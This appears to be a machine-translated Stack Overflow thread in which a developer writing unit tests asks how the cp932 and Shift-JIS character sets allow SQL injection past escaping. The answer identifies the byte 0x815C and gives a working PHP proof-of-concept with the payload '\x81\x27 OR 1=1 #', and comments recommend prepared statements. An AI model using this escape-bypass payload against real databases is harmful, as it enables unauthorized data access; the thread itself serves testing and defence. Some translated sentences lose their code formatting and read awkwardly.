2015-02-24 78 views
36

我在寫一些單元測試,以確保我的代碼在各種字符集下不容易受到SQL注入的攻擊。 big5cp932gb2312gbksjis如何使用Shift-JIS和CP932創建SQL注入攻擊?

這是因爲如果你的逃避者配置不正確,就會看到:

this answer,您可以通過使用以下字符集的一個注入\xbf\x27創建漏洞0x27並嘗試將其轉義爲\xbf\x5c\x27。但是,\xbf\x5c實際上是其中一個字符在這些字符集中,因此報價(0x27)未經轉義。

然而,正如我通過測試發現的,這並非完全正確。它適用於big5gb2312gbk但既不0xbf270xbf5csjiscp932有效字符。

兩個

mb_strpos("abc\xbf\x27def","'",0,'sjis') 

mb_strpos("abc\xbf\x27def","'",0,'cp932') 

返回4。即,PHP不會將\xbf\x27看作單個字符。這爲big5gb2312gbk返回false

而且,這樣的:

mb_strlen("\xbf\x5c",'sjis') 

返回2(它返回1gbk)。

所以,問題是:是否有另一個字符序列,使sjiscp932容易受到SQL注入,或者是他們居然不弱勢在所有?或者是說謊的PHP,我完全錯誤了,MySQL會完全不同的解釋?

+6

我見過這個SQL注入與[Node.JS](http://meta.security.stackexchange.com/a/2243/25859)同時參與CTF。 [理論在那裏(第34頁)](https://www.ipa.go.jp/files/000017321.pdf)關於它如何工作,但我似乎無法複製它在PHP中。更多關於我嘗試[在php聊天室中](http://chat.stackoverflow.com/transcript/message/29401516#29401516)。對於任何能提供具體方式/設置的人來說,我將在這個問題上給予獎勵。 – HamZa 2016-03-17 15:12:27

+1

測試你的代碼總是很好的。但是,如果您確實希望使您的應用程序更安全地針對SQL注入,則可能希望在網關中使用預準備語句,並分別向數據庫發送sql和數據。 mysqli和pdo都支持這種處理問題的方法。 當您使用不同的數據重複執行相同的語句時,使用預準備語句還可以顯着提高速度。 http://stackoverflow.com/questions/8263371/how-can-prepared-statements-protect-from-sql-injection-attacks – Max 2016-03-23 18:29:06

+0

防止SQL注入攻擊的唯一方法是使用參數化查詢而不是字符串連接並且更換。沒有任何轉義量可以解決這個問題。編寫參數化查詢代碼比使用字符串操作要容易得多。這個'mb_strpos'調用的存在意味着代碼容易受到注入攻擊。 – 2016-03-24 13:39:32

回答

20

魔鬼在細節......讓我們先從如何answer in question描述的弱勢字符集列表:

對於這種攻擊的工作,我們需要一個服務器都期待在連接上的編碼以編碼',如在ASCII中,即0x27具有某些字符,其最終字節是ASCII \0x5c。事實證明,MySQL 5.6默認支持5種這樣的編碼:big5,cp932,gb2312,gbksjis我們在這裏選擇gbk

這給了我們一些背景 - 0xbf5c作爲一個例子gbk,而不是作爲通用字符用於所有5個字符集。
恰恰相同的是,相同的字節序列也是big5gb2312下的有效字符。

在這一點上,你的問題就變成了,因爲這很容易:

哪個字節序列cp932sjis下一個有效的字符和0x5c結束?

公平起見,我爲這些字符集嘗試的大多數谷歌搜索都沒有給出任何有用的結果。但我沒有找到this CP932.TXT file,如果您在其中搜索'5c '(與空間存在),你會跳轉到該行:

0x815C 0x2015 #HORIZONTAL BAR

而且我們有一個贏家! :)

Some Oracle document確認0x815c是兩個cp932sjis相同的字符和PHP承認它太:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis")); 
int(1) 
int(1) 

下面是攻擊的PoC腳本:

<?php 
$username = 'username'; 
$password = 'password'; 

$mysqli = new mysqli('localhost', $username, $password); 
foreach (array('cp932', 'sjis') as $charset) 
{ 
     $mysqli->query("SET NAMES {$charset}"); 
     $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}"); 
     $mysqli->query("USE {$charset}_db"); 
     $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)"); 
     $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')"); 

     $input = "\x81\x27 OR 1=1 #"; 
     $input = $mysqli->real_escape_string($input); 
     $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1"; 
     $result = $mysqli->query($query); 
     if ($result->num_rows > 1) 
     { 
       echo "{$charset} exploit successful!\n"; 
     } 

     $mysqli->query("DROP DATABASE {$charset}_db"); 
} 
+0

啊哈!我可能已經讀過這樣的「5種這樣的編碼」,它具有0xbf5c作爲字符,而不是以0x5c結尾的字符。很好的答案,謝謝! – mpen 2016-03-18 15:41:54

+0

我很好奇這個實際上......'\ x81 \ x27'是**不是**在cp932中有效的字符,但它仍然被解釋爲1個字符(我猜是因爲0x81是一個「引導字節」)。如果不是,那麼'\ x27'將需要逃脫,我們會變得脆弱。有沒有字符串,其中'0x__27'被認爲是兩個字符,但是'0x__5c'是一個字符?在這種情況下,正確地轉義將會非常棘手。 – mpen 2016-03-18 16:13:00

+0

Nvm,[看起來沒有](https://gist.github.com/mnpenner/cd7806b645c35ea634d0)這樣的字符集。 – mpen 2016-03-18 16:20:48